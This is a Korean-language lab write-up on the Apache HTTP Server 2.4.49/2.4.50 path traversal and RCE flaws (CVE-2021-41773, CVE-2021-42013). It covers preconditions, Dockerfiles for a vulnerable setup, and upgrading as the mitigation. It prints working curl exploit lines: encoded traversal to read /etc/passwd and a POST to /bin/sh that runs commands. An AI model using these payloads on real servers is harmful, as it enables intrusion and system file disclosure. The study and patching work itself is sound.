CVE-2021-41773 [Apache HTTP Server Path Traversal & RCE]
요약 : 경로 탐색 공격에 쓰이는 문자열에 대한 미흡한 정규화 조치로 인한 경로탐색 및 추가적인 잘못된 환경 설정으로 인한 원격 코드 실행
취약한 버전
Apache HTTP Server 2.4.49
선행조건
httpd.conf내의 Directory directive 설정이 Required all denied 되어있지 않음 (Required all granted거나 Require 구문이 없음), RCE의 경우 mod_cgi가 enable되어 있어야함
분석 [Path Traversal]
path traversal을 막기 위해 2.4.49에서부터 새로운 path normalization을 도입하게 되었는데, 이것이 인코딩된 path traversal 문자열을 막지 못했다는 부분에서 취약점이 발생하게 되었다고 한다.
1. 취약한 환경 구성
FROM httpd:2.4.49
COPY ./public-html/ /usr/local/apache2/htdocs/
# Directory 지시자의 Require 구문 수정한 설정파일로 덮어씌움
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
웹 디렉토리의 내용은 상관 없음, Directory 지시자의 Require 절의 상태 확인
2. Exploit
curl --path-as-is -v http://localhost:8585/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
분석 [RCE]
위의 httpd.conf 설정에서 추가로 mod_cgi가 enable된 경우 시스템상의 파일을 POST request로 실행할 수 있다.
다만, 이 경우 Path Traversal은 되지 않는 것으로 확인 (커맨드 자체는 들어가나, mod_cgi가 Permission denied로 잡아버림)
CVE-2021-42013 [Apache HTTP Server Path Traversal & RCE]
요약 : CVE-2021-41773과 동일한 구간에서 발생하는 취약점으로, CVE-2021-41773의 패치가 불완전하게 되어 발생한 취약점
취약한 버전
Apache HTTP Server 2.4.50, 2.4.49
선행조건
CVE-2021-41773과 동일
분석 [Path Traversal]
CVE-2021-41773의 취약한 환경설정과 동일, URL double encoding 기법을 통해 우회
1. 취약한 환경 구성
버전만 2.4.50으로 변경
FROM httpd:2.4.50
COPY ./public-html/ /usr/local/apache2/htdocs/
# Directory 지시자의 Require 구문 수정한 설정파일로 덮어씌움
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
2. Exploit
curl --path-as-is -v http://[target]/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
분석 [RCE]
curl -s --path-as-is -v -d 'echo Content-Type: text/plain; echo;id' http://[target]/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
Mitigation
- 버전 업데이트 : Apache HTTP Server 2.4.51 이상